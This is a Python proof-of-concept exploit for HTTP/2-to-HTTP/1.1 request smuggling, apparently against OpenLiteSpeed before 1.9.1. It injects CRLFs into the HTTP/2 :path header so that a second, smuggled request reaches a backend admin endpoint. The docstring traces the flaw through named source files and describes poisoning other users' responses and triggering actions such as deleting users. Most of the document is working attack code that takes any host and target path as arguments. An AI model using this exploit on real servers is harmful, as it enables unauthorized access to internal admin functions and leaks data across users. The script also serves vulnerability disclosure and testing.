#!/usr/bin/env python3 """ PoC: H2→H1 Request Smuggling via :path CRLF Injection (pre-1.9.1) ──────────────────────────────────────────────────────────────────── CONFIRMED ATTACK PATH (code-audited, not theoretical) ──────────────────────────────────────────────────────────────────── src/h2/unpackedheaders.cpp — UpkdHdrBuilder::process() `:path` value is stored verbatim (SP/HTAB/CRLF allowed pre-fix). src/http/httpreq.cpp:536 — HttpReq::processUnpackedHeaders() URL boundaries come from getUrlLen() (HPACK length), NOT by scanning for spaces. CRLF bytes pass through parseURL() → parseURI() → HttpUtil::unescape() into the parsed URI and remain in the raw headerBuf. src/http/httpreq.cpp:1157 — m_iHttpHeaderEnd = m_headerBuf.size() The header-end marker covers the ENTIRE buffer, including injected CRLFs. src/extensions/proxy/proxyconn.cpp:254 — ProxyConn::sendReqHeader() pBegin = pReq->getOrgReqLine(); // raw buffer, byte-for-byte m_iTotalPending = pReq->getHttpHeaderLen(); // full buffer length → forwarded to the backend over TCP as raw HTTP/1.1 The backend HTTP parser sees the CRLFs in the request line as line terminators, splitting the single H2 request into multiple H1 requests. ──────────────────────────────────────────────────────────────────── SCENARIO: Admin-panel access behind a reverse-proxy context ──────────────────────────────────────────────────────────────────── OLS config: virtualhost frontend { context /app { type proxy handler backend_cluster # → http://backend:8080 } # /internal-api is NOT exposed — no context, no proxy rule } Backend (Node/Flask/Tomcat/etc.) at backend:8080 has: GET /internal-api/admin/users → returns user list (trusted) GET /app/public → public endpoint The backend trusts requests arriving on its port (came from OLS, must be legitimate). The /internal-api path is never supposed to be reachable from the internet — OLS only proxies /app/*. Attack: the attacker sends ONE HTTP/2 request whose `:path` contains CRLFs that split into TWO HTTP/1.1 requests on the backend connection: Request 1 (benign): GET /app/public HTTP/1.1 → normal response Request 2 (smuggled): GET /internal-api/admin/users HTTP/1.1 → backend processes it, response is desynchronized from OLS's expectation If the backend connection is keep-alive (the default), the smuggled response poisons the connection. The NEXT legitimate user whose request is multiplexed onto that backend connection receives the /internal-api/admin/users response instead of their own — classic response desync. Alternatively, if the smuggled request triggers a side-effect (POST /internal-api/admin/delete-user), no response desync is needed — the action executes immediately. ──────────────────────────────────────────────────────────────────── Usage: python3 poc_h2_request_smuggling.py [--tls] Sends an H2 request with a CRLF-injected :path and prints the exact bytes that would be forwarded to the backend. For a live demo, run a netcat listener as the "backend": nc -lk 127.0.0.1 8080 and configure OLS to proxy to it. """ import argparse import sys import time import struct from h2_frame_helpers import ( h2_connect, recv_frames, parse_frames, frame, settings_frame, HEADERS, DATA, FLAG_END_HEADERS, FLAG_END_STREAM, SETTINGS_ENABLE_PUSH, ) def hpack_encode_literal(name: bytes, value: bytes, indexed_name: int = 0) -> bytes: """Encode a single HPACK literal header (no indexing).""" if indexed_name: # Literal with indexed name (0000xxxx pattern) out = bytes([indexed_name & 0x0F]) else: # Literal with literal name (0000 0000 prefix) out = b"\x00" out += bytes([len(name)]) + name # Value (no Huffman) val_len = len(value) if val_len < 127: out += bytes([val_len]) else: out += b"\x7f" + bytes([val_len - 127]) out += value return out def build_smuggling_headers(target_path: str = "/internal-api/admin/users", decoy_path: str = "/app/public", host: str = "target.com") -> bytes: """ Build HPACK-encoded headers with CRLF injection in :path. The :path value is crafted so that when OLS reconstructs the HTTP/1.1 request line as: GET <:path> HTTP/1.1\r\n the backend sees: GET /app/public HTTP/1.1\r\n ← request 1 (request line) Host: target.com\r\n ← injected header \r\n ← end of request 1 headers GET /internal-api/admin/users HTTP/1.1\r\n ← request 2 """ # Construct the malicious :path # After the decoy path, inject: " HTTP/1.1\r\n" to close the # first request line, then headers + empty line, then the # smuggled request. The server appends " HTTP/1.1\r\n" after # our :path value, which conveniently forms the version string # of the smuggled request. # # Buffer will be: # GET HTTP/1.1\r\n # Where is our crafted value. # # We want the buffer to parse as: # GET /app/public HTTP/1.1\r\n # Host: target.com\r\n # Content-Length: 0\r\n # \r\n # GET /internal-api/admin/users HTTP/1.1\r\n # ... (OLS appends " HTTP/1.1\r\n" and then real headers) # # So :path = "/app/public HTTP/1.1\r\nHost: \r\nContent-Length: 0\r\n\r\nGET /internal-api/admin/users" # Then OLS appends " HTTP/1.1\r\n" → becomes the version of request 2 malicious_path = ( f"{decoy_path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"Content-Length: 0\r\n" f"\r\n" f"GET {target_path}" ).encode() # HPACK encoding (using static table indices where possible) hdrs = b"" # :method GET (static index 2, fully indexed) hdrs += b"\x82" # :path (literal, indexed name = 4 for :path) # Use "without indexing" (0000 prefix) to avoid polluting the table hdrs += hpack_encode_literal(b":path", malicious_path, indexed_name=4) # :scheme https (static index 7) hdrs += b"\x87" # :authority (literal, indexed name = 1) hdrs += hpack_encode_literal(b":authority", host.encode(), indexed_name=1) return hdrs def main(): ap = argparse.ArgumentParser( description="H2→H1 request smuggling via :path CRLF injection") ap.add_argument("host", help="OLS hostname/IP") ap.add_argument("port", type=int, help="OLS H2 port") ap.add_argument("--tls", action="store_true") ap.add_argument("--target", default="/internal-api/admin/users", help="Smuggled request path (default: /internal-api/admin/users)") ap.add_argument("--decoy", default="/app/public", help="Decoy path for first request (default: /app/public)") ap.add_argument("--vhost", default="target.com", help="Target Host header value") ap.add_argument("--dry-run", action="store_true", help="Print the crafted bytes without connecting") args = ap.parse_args() hpack_payload = build_smuggling_headers( target_path=args.target, decoy_path=args.decoy, host=args.vhost, ) # Show what the backend will see # Reconstruct the HTTP/1.1 request line as OLS does: # METHOD + " " + :path + " HTTP/1.1\r\n" malicious_path = ( f"{args.decoy} HTTP/1.1\r\n" f"Host: {args.vhost}\r\n" f"Content-Length: 0\r\n" f"\r\n" f"GET {args.target}" ) reconstructed = f"GET {malicious_path} HTTP/1.1\r\n" print("=" * 70) print(" H2→H1 REQUEST SMUGGLING via :path CRLF injection") print("=" * 70) print() print("[*] Attacker sends ONE HTTP/2 request with crafted :path") print() print(" :method = GET") print(f" :path = {repr(malicious_path)}") print(f" :authority = {args.vhost}") print() print("[*] OLS reconstructs the request line in m_headerBuf as:") print() for i, line in enumerate(reconstructed.split("\r\n")): if line: print(f" {line}") elif i < len(reconstructed.split("\r\n")) - 1: print(f" (empty line)") print() print("[*] ProxyConn::sendReqHeader() forwards this raw buffer") print(" to the backend. The backend HTTP parser sees:") print() print(" ┌─── Request 1 (decoy) ──────────────────────────────") print(f" │ GET {args.decoy} HTTP/1.1") print(f" │ Host: {args.vhost}") print(f" │ Content-Length: 0") print(f" │ ") print(f" └───────────────────────────────────────────────────") print(f" ┌─── Request 2 (SMUGGLED) ──────────────────────────") print(f" │ GET {args.target} HTTP/1.1") print(f" │ Host: {args.vhost} ← from OLS's real :authority") print(f" │ X-Forwarded-For: ... ← OLS-added headers") print(f" │ (original H2 headers)") print(f" └───────────────────────────────────────────────────") print() if args.dry_run: print("[*] --dry-run: not connecting") print(f"[*] HPACK payload ({len(hpack_payload)} bytes):") print(f" {hpack_payload.hex()}") return print(f"[*] Connecting to {args.host}:{args.port} (TLS={args.tls})") try: sock = h2_connect(args.host, args.port, use_tls=args.tls) except Exception as e: print(f"[!] Connection failed: {e}") return print("[+] H2 connection established") # Send the HEADERS frame with the malicious :path stream_id = 1 hdr_frame = frame(HEADERS, FLAG_END_HEADERS | FLAG_END_STREAM, stream_id, hpack_payload) print(f"[*] Sending HEADERS frame on stream {stream_id} " f"({len(hdr_frame)} bytes)") sock.sendall(hdr_frame) # Read response time.sleep(1) resp = recv_frames(sock, timeout=2) print(f"[*] Received {len(resp)} bytes from server") if resp: for ftype, flags, sid, payload in parse_frames(resp): type_names = {0: "DATA", 1: "HEADERS", 3: "RST_STREAM", 7: "GOAWAY", 4: "SETTINGS", 8: "WINDOW_UPDATE"} tname = type_names.get(ftype, f"TYPE_{ftype}") print(f" [{tname}] stream={sid} flags=0x{flags:02x} " f"len={len(payload)}") if ftype == 3: # RST_STREAM ec = struct.unpack("!I", payload)[0] if len(payload) >= 4 else -1 print(f" error_code={ec}") elif ftype == 7: # GOAWAY if len(payload) >= 8: last_sid = struct.unpack("!I", payload[0:4])[0] ec = struct.unpack("!I", payload[4:8])[0] print(f" last_stream={last_sid} error={ec}") print() print("[*] If the server returned a normal response (HEADERS+DATA),") print(" the :path was accepted. Check the backend / nc listener") print(" to see the smuggled second request.") print() print("[*] If RST_STREAM or GOAWAY was returned, the server rejected") print(" the request. On OLS >=1.9.1, the validateReqValue() check") print(" rejects SP/HTAB/CRLF in :path.") sock.close() def recv_frames(sock, timeout=2): """Best-effort receive.""" import socket as _socket sock.settimeout(timeout) buf = b"" try: while True: chunk = sock.recv(65536) if not chunk: break buf += chunk except (_socket.timeout, ConnectionError, OSError): pass return buf if __name__ == "__main__": main()